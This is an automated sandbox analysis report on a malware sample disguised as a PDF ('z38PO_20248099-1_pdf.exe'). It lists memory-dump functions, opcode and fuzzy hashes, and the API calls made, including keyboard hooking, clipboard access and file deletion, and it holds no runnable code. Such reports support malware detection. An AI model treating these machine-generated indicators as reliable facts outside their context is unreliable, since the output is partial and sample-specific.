API ID:
String ID:
API String ID:
Opcode ID: 974e7d1d70b6996ba6ebab4fb3ac8f1664df47f5c0955af7671d8b457bef642b
Instruction ID: 7e062364b8fb98e363e8edccd25cd0e2685ffc24ffbbad9e5abec54b7db60fc0
Opcode Fuzzy Hash: 974e7d1d70b6996ba6ebab4fb3ac8f1664df47f5c0955af7671d8b457bef642b
Instruction Fuzzy Hash: 3CD177B17007168FDB2AEB65C4507AAB7E7AF89600F14887AD14A8F6D0DF36E901CB51

Function 050BF398 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1448591434.00000000050B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_50b0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2334acdcc86da66b77de95bfe547d0b6d01c30911dba656da678e4b7736e6e4
Instruction ID: cfd4a354eea5280803cec5f4135baa047ebf5cd2cf325794f4841d3e463cde56
Opcode Fuzzy Hash: e2334acdcc86da66b77de95bfe547d0b6d01c30911dba656da678e4b7736e6e4
Instruction Fuzzy Hash: 93E11874E0461A8FDB14DFA8D980AAEFBF2BF89304F248169D415AB355D770AD41CF60

Function 07110040 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1449552879.0000000007110000.00000040.00000800.00020000.00000000.sdmp, Offset: 07110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7110000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b77c411eabe81a2bc4f5e89217ef0e4b0dbefd47ba24fea31835b03a47ff0f96
Instruction ID: c8e30ea141827dd3a9054577e79f2c88e5be9ddd79df45c4f391d56aba0e7047
Opcode Fuzzy Hash: b77c411eabe81a2bc4f5e89217ef0e4b0dbefd47ba24fea31835b03a47ff0f96
Instruction Fuzzy Hash: 4DE119B4E006198FDB14DFA8C581AAEFBB2FF89305F248169D415AB355D730AD81CF60

Function 0102DF9C Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1443665457.0000000001020000.00000040.00000800.00020000.00000000.sdmp, Offset: 01020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1020000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 194cd3bcbeb42cae1493144420892a0f4d1ba72ed92e4dcdcf26b45574e7890d
Instruction ID: 3c109ae4f901cd455186b086663833a399aa56dcb10279b20094fe09f0bbd2c2
Opcode Fuzzy Hash: 194cd3bcbeb42cae1493144420892a0f4d1ba72ed92e4dcdcf26b45574e7890d
Instruction Fuzzy Hash: 82A16F32E002268FCF15DFB8C4845EEBBF2FF85300B1545AAE905AB261DB75E956CB50

Function 050B5BF8 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1448591434.00000000050B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_50b0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd0d22bee41bb1e01dde942b801b2fa7e8414e6495485c0e2ba4fb359f4cb3cd
Instruction ID: d52324844b70e161d71381b943e6285e5490b25503d73c3d2fa766f958d94346
Opcode Fuzzy Hash: bd0d22bee41bb1e01dde942b801b2fa7e8414e6495485c0e2ba4fb359f4cb3cd
Instruction Fuzzy Hash: 3481E371D06218DFEF14CFA9E884AEDBBF6BF49300F10906AE419A7261EBB45945CF40

Analysis Process: z38PO_20248099-1_pdf.exePID: 8096, Parent PID: 7644COMMON

Execution Graph

Execution Coverage:	11.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	214
Total number of Limit Nodes:	22

Executed Functions

Function 064C56A8 Relevance: 1.8, Strings: 1, Instructions: 599COMMON

Download Yara Rule

Strings

$, xrefs: 064C59FB

Memory Dump Source

Source File: 0000000A.00000002.3899432454.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_64c0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: c8c0a4b50506c8895943600f7618c97b5fafbe9fe8812503a6af4b87d867848b
Instruction ID: 8704ccb9f642270647dcadd7ec040f4f84adac9bf5734424e51f5bc7c7be84f2
Opcode Fuzzy Hash: c8c0a4b50506c8895943600f7618c97b5fafbe9fe8812503a6af4b87d867848b
Instruction Fuzzy Hash: 7922B675E002149FDFA5DBA4D4846AEBBB2FF85320F14846AD416EB344DB31EC51CB91

Function 064C274A Relevance: 1.1, Instructions: 1051COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3899432454.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_64c0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a548aab596aabd520d7cc4dde852b8ba2fca21a3ae30a1da73d8aa811f94307d
Instruction ID: b99625632a01afd3970bff696bfb5523ea8836ecc0ab6f73e2aa2f4cd9671462
Opcode Fuzzy Hash: a548aab596aabd520d7cc4dde852b8ba2fca21a3ae30a1da73d8aa811f94307d
Instruction Fuzzy Hash: EFA21538A002148FDBA5DF68C584B5EBBB2FB49324F54C5AAD4099B361DB75ED81CF40

Function 064C6700 Relevance: .8, Instructions: 824COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3899432454.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_64c0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1998c4c38c2ccfef6d47b18a6a9bc08b250d7cd08e0d3b23a13f6db1d7a82668
Instruction ID: df40a766299bcf6d161e624b5eef47e11e38ff86814948fb0896f3bd601b9f5f
Opcode Fuzzy Hash: 1998c4c38c2ccfef6d47b18a6a9bc08b250d7cd08e0d3b23a13f6db1d7a82668
Instruction Fuzzy Hash: AA628E38A006149FDB95DB68D590AAEB7F2FF89320F15C46AD406DB354DB71EC42CB90

Function 064CB342 Relevance: .6, Instructions: 574COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3899432454.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_64c0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbeacec0b186f7caa4fdb4acf9d2a164102e3b08dbb8d4bec9ae4b6cb377fb83
Instruction ID: a3768b4e36abf0062db854db1b456720e809551ef9fefa9663cc44a243e2683d
Opcode Fuzzy Hash: fbeacec0b186f7caa4fdb4acf9d2a164102e3b08dbb8d4bec9ae4b6cb377fb83
Instruction Fuzzy Hash: 7A227678E002098FEFA5DBA8D4917AEB7B2FB85320F20846AE445DB355DA34DC41DB51

Function 064C3578 Relevance: .5, Instructions: 545COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3899432454.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_64c0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9fcc44018bdf0c55b3a3697f0b25249030ffad7a926ba6fc1610223f25c66d8
Instruction ID: 45f8ec1d753817b7137d61e64c13c7698c8c0457c4ac250eadde49e56d7040b3
Opcode Fuzzy Hash: e9fcc44018bdf0c55b3a3697f0b25249030ffad7a926ba6fc1610223f25c66d8
Instruction Fuzzy Hash: 18324E35E10B19CFDB55EF79C89069DB7B2BFC9310F50C6AAD409A7214EB70A981CB90

Function 064C7E90 Relevance: .5, Instructions: 478COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3899432454.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_64c0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88b575ebad7ed6fab968a50c8476f619af93d7acf1813b35c7051faa491a8d3c
Instruction ID: a93bd1b2b6c4e80fdc761de01b1f1b3960153edc5c814620b1bb7243d456625d
Opcode Fuzzy Hash: 88b575ebad7ed6fab968a50c8476f619af93d7acf1813b35c7051faa491a8d3c
Instruction Fuzzy Hash: 12028D34B006159FDB95DB68D8906AEBBF2FF84320F24856AD416DB354DB71EC42CB90

Function 0265EE90 Relevance: 1.6, APIs: 1, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.3859073445.0000000002650000.00000040.00000800.00020000.00000000.sdmp, Offset: 02650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2650000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71d9a6342ff9c3609d37b87c8f5b8907482d106a0a5a1f03b08f2a68a4456751
Instruction ID: d183370015cd14bf82965b06d4a8ca577d86597e22e83a41b911946264911bbb
Opcode Fuzzy Hash: 71d9a6342ff9c3609d37b87c8f5b8907482d106a0a5a1f03b08f2a68a4456751
Instruction Fuzzy Hash: C4412432D043599FDB10CFA9D8043DEBBF1EF89210F14826AE858E7280DB749945CBE0

Function 026580F2 Relevance: 1.6, APIs: 1, Instructions: 119
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(00000000), ref: 026580B0

Memory Dump Source

Source File: 0000000A.00000002.3859073445.0000000002650000.00000040.00000800.00020000.00000000.sdmp, Offset: 02650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2650000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 1a8aced59cce787189993c88f4f8825f3ed11cac92138986a66c231d1e312e11
Instruction ID: f9a3314e58c98cd1f46cb49e52fa569afce71e6c2b11bcc4d644d8967f9e3d70
Opcode Fuzzy Hash: 1a8aced59cce787189993c88f4f8825f3ed11cac92138986a66c231d1e312e11
Instruction Fuzzy Hash: 24418E71E0022A9BEF24DFA5C84079EBBB1FF45314F10896AE805FB740E7B59885CB91

Function 064A5D92 Relevance: 1.6, APIs: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 064A5EAA

Memory Dump Source

Source File: 0000000A.00000002.3899024653.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_64a0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 82350d78931f2c091b54c3d760dbf5ec5da4cbabc426a36beb01655db3c43faf
Instruction ID: 1de947efe332e77b32e57d36417112bf3b5b229d5968c032447bf5a7138384ff
Opcode Fuzzy Hash: 82350d78931f2c091b54c3d760dbf5ec5da4cbabc426a36beb01655db3c43faf
Instruction Fuzzy Hash: FD51C0B5D10309AFDF15CF9AD984ADEBBB5FF88310F24812AE418AB250D7759845CF90

Function 064A5D98 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 064A5EAA

Memory Dump Source

Source File: 0000000A.00000002.3899024653.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_64a0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 111bd32f328a79662fa1950fcfcf1f1b4e8f15e1788bb9be2a9e6ed5b6ec1d1d
Instruction ID: 28464f4198bcb8f277770e4ba3c51dd1e17423dd3698cac3bacc7dd3a636c3af
Opcode Fuzzy Hash: 111bd32f328a79662fa1950fcfcf1f1b4e8f15e1788bb9be2a9e6ed5b6ec1d1d
Instruction Fuzzy Hash: D241B0B1D10309AFDB14CF9AD984ADEBBB5FF48310F24812AE819AB250D775A845CF90

Function 064A9874 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 064AABE9

Memory Dump Source

Source File: 0000000A.00000002.3899024653.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_64a0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: fc23304999e1f2b1ca573581839b2b7bc8c9be21caee68c95b697df2c3f92444
Instruction ID: ec6ffacc6cc975354529c934f03024588cb8327f9c69bcab7d047452d5708478
Opcode Fuzzy Hash: fc23304999e1f2b1ca573581839b2b7bc8c9be21caee68c95b697df2c3f92444
Instruction Fuzzy Hash: 74415CB4900309DFDB54CF99C448AAABBF5FF88314F14C55AD519AB361D374A885CFA0

Function 064AB290 Relevance: 1.6, APIs: 1, Instructions: 74
comclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleGetClipboard.OLE32(?), ref: 064AB8F8

Memory Dump Source

Source File: 0000000A.00000002.3899024653.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_64a0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: c8f0b84f64ba25a5ff18768b8eb304c5ca4fbc27b290cee3e0f4174458a35137
Instruction ID: 8188d82270b768799804f7d24a636f2d22defd361d913824da54d031dc872e38
Opcode Fuzzy Hash: c8f0b84f64ba25a5ff18768b8eb304c5ca4fbc27b290cee3e0f4174458a35137
Instruction Fuzzy Hash: D331D2B0D01349EFDB60DF99C984B9EBBF5EB58314F20801AE404AB394D775A845CB95

Function 064AB872 Relevance: 1.6, APIs: 1, Instructions: 70
comclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleGetClipboard.OLE32(?), ref: 064AB8F8

Memory Dump Source

Source File: 0000000A.00000002.3899024653.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_64a0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: 8dd073334c62adaf343100c4f8fd56dea9cc3261d36f3fa214fb712b5dc65e61
Instruction ID: 73511c32c3c1570bcb363bc4c5eea2aaa8e59a17660c0437ee3730c93858614a
Opcode Fuzzy Hash: 8dd073334c62adaf343100c4f8fd56dea9cc3261d36f3fa214fb712b5dc65e61
Instruction Fuzzy Hash: 0331EDB0D01349EFEB60CF99C984BDEBBF5EB58314F20801AE404AB394D7B5A849CB55

Function 064A9C90 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 064A9D1F

Memory Dump Source

Source File: 0000000A.00000002.3899024653.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_64a0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: fbef74562d4eb613d66fa7206eb8229bf53b75ae442db81081d962ffe528c0aa
Instruction ID: 387aebf2ec88fdb641ee3474051182ef42cbcbd24767a787f5cfc3e91e435351
Opcode Fuzzy Hash: fbef74562d4eb613d66fa7206eb8229bf53b75ae442db81081d962ffe528c0aa
Instruction Fuzzy Hash: 982105B5800349AFDB10CF9AD484ADEFBF4FB48310F14841AE958A7350D378A944CFA0

Function 064A9C98 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 064A9D1F

Memory Dump Source

Source File: 0000000A.00000002.3899024653.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_64a0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 9484d22fe5a07b37d1044d263cb004e07919c0f445d58121fd1d4f22bfb3e70c
Instruction ID: ea3dab82dafb40fd5487fabf2c9f4bfb90c05ef3bccc929c16b2fc762d269f6c
Opcode Fuzzy Hash: 9484d22fe5a07b37d1044d263cb004e07919c0f445d58121fd1d4f22bfb3e70c
Instruction Fuzzy Hash: D021E4B5900309AFDB10CF9AD884ADEBBF4EB48310F14841AE918A7350D378A944CFA4

Function 02658038 Relevance: 1.6, APIs: 1, Instructions: 58
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(00000000), ref: 026580B0

Memory Dump Source

Source File: 0000000A.00000002.3859073445.0000000002650000.00000040.00000800.00020000.00000000.sdmp, Offset: 02650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2650000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 1e2b791896bda04a5e03986d312bfcd289b03e78867df2c072ed8d453128d155
Instruction ID: 60a389e958d26e205ea9d30e55a0418a4f9bbc7aab07ef7130f30395297ea345
Opcode Fuzzy Hash: 1e2b791896bda04a5e03986d312bfcd289b03e78867df2c072ed8d453128d155
Instruction Fuzzy Hash: D22127B6C0065A9BCB20CF9AD545B9EFBB0AF48310F14816AD858B7750D378A944CFA1

Function 064AD3A8 Relevance: 1.6, APIs: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 064AD42B

Memory Dump Source

Source File: 0000000A.00000002.3899024653.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_64a0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 010a8dfa16a97b5795f3a7f81d42aaf2a8a8f470bdaba19212b594c48e1ecaf1
Instruction ID: 2e2aa3882c3d701baaa3067eb59ec73183ccba2a91cd555c751554d3c4b2904b
Opcode Fuzzy Hash: 010a8dfa16a97b5795f3a7f81d42aaf2a8a8f470bdaba19212b594c48e1ecaf1
Instruction Fuzzy Hash: CB2113B5D002099FDB54CFAAD844BEEFBF5EF88310F14842AE459A7650C774A944CFA1

Function 064AD3B0 Relevance: 1.6, APIs: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 064AD42B

Memory Dump Source

Source File: 0000000A.00000002.3899024653.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_64a0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 0c11b7b5eea166c6a7837acd5c2ec70323f42656042b9e3d20add7a415845bd6
Instruction ID: c15dcb5cf91c3b85e88109e0ab89cf5eeba6b1fd98dbad89134080adc3188abc
Opcode Fuzzy Hash: 0c11b7b5eea166c6a7837acd5c2ec70323f42656042b9e3d20add7a415845bd6
Instruction Fuzzy Hash: D12122B1D002099FDB54CFAAD844BEEFBF5EF88310F10842AE419A7250C778A944CFA1

Function 02658040 Relevance: 1.6, APIs: 1, Instructions: 56
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(00000000), ref: 026580B0

Memory Dump Source

Source File: 0000000A.00000002.3859073445.0000000002650000.00000040.00000800.00020000.00000000.sdmp, Offset: 02650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2650000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: bf485f38686701613e15a3c3e49d1a004e2553ef49d58d953afaf9decf224f28
Instruction ID: 565defccd251d7414edeea92ef4137559fb8ddef44f2c111de6c9f7fed2742aa
Opcode Fuzzy Hash: bf485f38686701613e15a3c3e49d1a004e2553ef49d58d953afaf9decf224f28
Instruction Fuzzy Hash: DF1136B1C0065A9BCB10CF9AD54479EFBF4FF48320F14816AD818A7740D378A944CFA5

Function 0265EF78 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 0265EFDF

Memory Dump Source

Source File: 0000000A.00000002.3859073445.0000000002650000.00000040.00000800.00020000.00000000.sdmp, Offset: 02650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2650000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 13bd5a87a16e0a7d50a47febf59e5a66aa328a504a3608e4b4988bbdbc136446
Instruction ID: 190e14f4c4f05085f50ade19999c4d0e41925522fe6de0a66d082df4d9239deb
Opcode Fuzzy Hash: 13bd5a87a16e0a7d50a47febf59e5a66aa328a504a3608e4b4988bbdbc136446
Instruction Fuzzy Hash: 271126B1C0065A9BDB10CF9AC544BDEFBF4EF48310F14816AE818A7240D778A944CFE5

Function 064A3624 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 064A4D56

Memory Dump Source

Source File: 0000000A.00000002.3899024653.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_64a0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 3ebb6ece6fc5679d6ab63fcd45addb5023ce4f249494a342fbd29c018fa24fe8
Instruction ID: f1d2efa145a245b9cf9dc2b1be8ee6490dd7c37a79bf734d0f3014577d656967
Opcode Fuzzy Hash: 3ebb6ece6fc5679d6ab63fcd45addb5023ce4f249494a342fbd29c018fa24fe8
Instruction Fuzzy Hash: 081120B5C003499FDB20DF9AC444B9EFBF4EB88210F10842AD829B7210C3B9A505CFA1

Function 064A4CEA Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 064A4D56

Memory Dump Source

Source File: 0000000A.00000002.3899024653.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_64a0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: d8dccecafaf627ac86ccdb9a02be4a47b7aa8d34d45b9aa314a150901f627be8
Instruction ID: 053679763dd1b82312973004498e70a80d45e3b276643411b6a198b9a8051732
Opcode Fuzzy Hash: d8dccecafaf627ac86ccdb9a02be4a47b7aa8d34d45b9aa314a150901f627be8
Instruction Fuzzy Hash: E211F0B9C002499FDB10DF9AC444ADEFBF4AB89214F14842AD469B7710C379A546CFA1

Function 064AAE58 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,064AAE35), ref: 064AAEBF

Memory Dump Source

Source File: 0000000A.00000002.3899024653.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_64a0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: faddc485ae1935740a029451ee3e77e406449e7b5c37dba0cb761d4d14b9bf41
Instruction ID: c387fff01f49cd3a60942a5cd8a8272c18a5501749b816be2dc63cc6e7e7f9a8
Opcode Fuzzy Hash: faddc485ae1935740a029451ee3e77e406449e7b5c37dba0cb761d4d14b9bf41
Instruction Fuzzy Hash: 4E11F5B58003499FDB20DF9AD845BDFBBF4EB48314F20841AE519A7650C375A944CFA5

Function 064AB170 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 064AB77D

Memory Dump Source

Source File: 0000000A.00000002.3899024653.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_64a0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: f6a4045c20836cbd9cf51152ad70a60f74c8df33b70e37ccbdb8f185938e6eea
Instruction ID: 7393b2ea1021fd354db62cbfb517fde91cca445830dbe3616d18b16969d05625
Opcode Fuzzy Hash: f6a4045c20836cbd9cf51152ad70a60f74c8df33b70e37ccbdb8f185938e6eea
Instruction Fuzzy Hash: 3B1155B5C003488FCB10EF9AD485BDEBBF8EB48214F20845AD418A7310C379A945CFA5

Function 064AB178 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 064AB77D

Memory Dump Source

Source File: 0000000A.00000002.3899024653.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_64a0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 587f08037d2e9f20f298c5ea4f1a1283dd2c667ff586466d679158d2e367f447
Instruction ID: 8c9bbfaf5715feb13840cd46ab5140e0e7ba3c91ba1289debf53d5b022f5b46d
Opcode Fuzzy Hash: 587f08037d2e9f20f298c5ea4f1a1283dd2c667ff586466d679158d2e367f447
Instruction Fuzzy Hash: E41145B4800348CFDB20EF9AD448BDEBBF4EB48210F20845AD518A7300C3B9A944CFA5

Function 064A98CC Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,064AAE35), ref: 064AAEBF

Memory Dump Source

Source File: 0000000A.00000002.3899024653.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_64a0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 55f2377e5097ea4be71d737e192144ed277c141eb6a658c0fe81dec737a135ab
Instruction ID: 43082653cd8e13679247fe005355f6202c33e706a1c5a82f1dc0cfe43641328e
Opcode Fuzzy Hash: 55f2377e5097ea4be71d737e192144ed277c141eb6a658c0fe81dec737a135ab
Instruction Fuzzy Hash: 631130B58003498FDB60DF9AD448B9FBBF4EB48320F20841AE919A7340C378A944CFA4

Function 064AB721 Relevance: 1.5, APIs: 1, Instructions: 45comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 064AB77D

Memory Dump Source

Source File: 0000000A.00000002.3899024653.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_64a0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: c6aa95c3ceae898c5b3759137853e02f7e8df9db28306c8d043141d48177bccd
Instruction ID: aa0243e556315035bd9b6a1d1e92607be7d995536a833176c00d23cd5eeb91db
Opcode Fuzzy Hash: c6aa95c3ceae898c5b3759137853e02f7e8df9db28306c8d043141d48177bccd
Instruction Fuzzy Hash: 9A1145B98003498FCB20DF9AD484BDEBFF4EB48210F20845AD558A7300C379A544CFA5

Function 064CD068 Relevance: .8, Instructions: 799COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3899432454.00000000064C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_64c0000_z38PO_20248099-1_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f9f717aa0f2a2840f19189eac295f4c9128537695fc766a0e00c555d4db067b
Instruction ID: 2b7b9344e3f6ffa8aec76ae2fc9bd17d2bf3de406f87c9227bea973930404868
